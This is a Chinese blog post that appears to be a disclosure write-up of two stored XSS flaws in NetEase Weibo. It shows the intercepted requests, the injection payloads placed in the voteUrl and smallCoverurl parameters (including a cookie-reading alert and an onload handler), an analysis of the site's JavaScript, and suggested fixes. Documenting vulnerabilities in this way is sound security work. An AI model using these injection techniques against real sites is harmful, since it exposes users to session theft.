当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

网易微博两个存储型XSS

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

第一个:
1、在首页发微博,截获包然后修改。

 

content=test&isRetweet=0&replyOriginal=0&replyIt=0&flag=0&imageUrl=&voteUrl=bbb"><>

  涛涛电脑知识技巧

 

修改了voteUrl参数为bbb"><>,然后提交。

 

2、回到首页,已经发布了一条微博。但是在Burp中有一个下面这样的请求:

?callback=jQuery16109319937340915203_1348642196756&q=T7n6r0L&_=1348642200976

(这个地址是我后来抓取的,不过已经能够说明问题了)

 

内容为

jQuery16109319937340915203_1348642196756("bbb"><>");

 

这是一个jsonp的请求,但是问题来了,这个数据没有进行任何处理。并且这段代码肯定是要加载到首页作为js代码执行的,我们构造闭合callback的代码,后面再插入我们自己的js代码肯定能够在首页执行的。

 

3、然后在发送一条微博,voteUrl参数改为");alert(documents.cookie);//,再次访问首页,发现没有弹框,也没有和之前类似的请求了。不过我们之前忽略一个问题就是,content这个参数为微博的内容,但是我们发的微博却包含一个网易微博的短链接地址 ,鼠标移到上面,奇迹出现,弹出了我们插入的js代码。

 

4、voteUrl这个参数从字面上理解应该是投票地址,初步分析是网易微博没有对该参数校验就直接转换为短链接地址。从?callback=jQuery16109319937340915203_1348642196756&q=T7n6r0L&_=1348642200976这个地址返回的内容也能够判断出,传入到callback的参数就是我们voteUrl的值。

 

5、执行了js代码,但是并不知道为什么执行?先在firebug中查找getOriginal,在

中有找到:

define("utils/DataSource",

function(a, b, c) {

var d = a("external/jquery"),

e = a("model/UserData"),

f = a("utils/log/Logger"),

g = {

keyFrom: null,

requestMap: {

longUrl: {

url: "",

login: !1

},

 

这个只是定义,在home.js中再查找longUrl,有如下代码:

define("task/shortURL",

function(a, b, c) {

var d = a("task/TaskManager"),

e = a("task/Task");

d.add(new e("shortURL",

function() {

var b = a("external/jquery"),

c = a("utils/DataSource");

b(document.body).delegate(".short-url:not(.processed)", "mouseenter",

function(a) {

var d = b(a.target),

e = d.addClass("processed").text();

if (e.indexOf("") === 0) {

var f = e.substr(14);

c.get("longUrl", {

q: f

},

function(a) {

d.attr("title", a)

},

"jsonp")

}

})

}))

});

 

在上面的代码中我们大致可以知道问题产生的原因:

 

a) 修改参数voteUrl发微博

b) voteUrl会转换成一个短链接地址,短链接对应的长链接地址为voteUrl的值

c) 微博中包含这个短链接地址,当鼠标移动到短链接地址会触发mouseenter事件

d) 响应mouseenter事件后会先取短链接后面的7个字符,把这7个字符作为q参数的值,然后通过ajax去请求资源。在这一步中执行我们的js代码。

e) 最后把短链接所对应真是的长链接地址放到微博中a标签的title属性。

 

 

修复方案:

1、对voteUrl参数进行判断

2、通过jsonp调用的时候先对voteUrl的值进行js转义。


上一个漏洞虽然是发微博处,还是需要一个小的交互才能够触发漏洞(不过绝大多数人都会有这个交互的)。

在这个网易微博的漏洞中不需要交互,看到微博就会触发xss漏洞。

 

1、首先说下漏洞是出现在创建投票处

 

2、在创建投票的地方可以上传图片,容易出现xss的地方,我们上传一个图片,同时把投票的其他项也补充好,提交的时候截断请求,会向服务端发送如下数据

title=%E9%92%93%E9%B1%BC%E5%B2%9B&description=&option%5B%5D=%E4%B8%AD%E5%9B%BD%E7%9A%84&option%5B%5D=%E4%B8%AD%E5%9B%BD%E7%9A%84&voteType=1&endTime=&coverurl=http%3A%2F%2F126.fm%2F2bqmHT&smallCoverurl=http%3A%2F%2Ftimge4.126.net%2Fimage%3Fw%3D322%26h%3D115%26url%3Dhttp%253A%252F%252F126.fm%252F2bqmHT%26gif%3D1%26quality%3D85

 

在实际测试中我在每个参数后面都加上类似"><bbb>这样的字符,创建投票,然后发表微博

 

3、访问刚才发表的微博,然后在源码中搜索 <bbb> 这样的字符,很不幸真的有,出现在img标签后面,由于是在首页访问,大致判断是smallCoverurl这个参数没有过滤好。

 

4、从新创建一个投票然后提交,如下:

title=%E9%92%93%E9%B1%BC%E5%B2%9B&description=&option%5B%5D=%E4%B8%AD%E5%9B%BD%E7%9A%84&option%5B%5D=%E4%B8%AD%E5%9B%BD%E7%9A%84&voteType=1&endTime=&coverurl=http%3A%2F%2F126.fm%2F2bqmHT&smallCoverurl=http%3A%2F%2Ftimge4.126.net%2Fimage%3Fw%3D322%26h%3D115%26url%3Dhttp%253A%252F%252F126.fm%252F2bqmHT%26gif%3D1%26quality%3D85" onload=alert(1) a="

 

 

5、再次访问新发表的微博,顺利执行我们的alert(1)。

 

下图:

 

 

或者访问:

修复方案:

1、对coverurl和smallCoverurl参数进行编码处理,虽然我没有测试coverurl这个参数,但是我觉得应该也存在问题。


相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1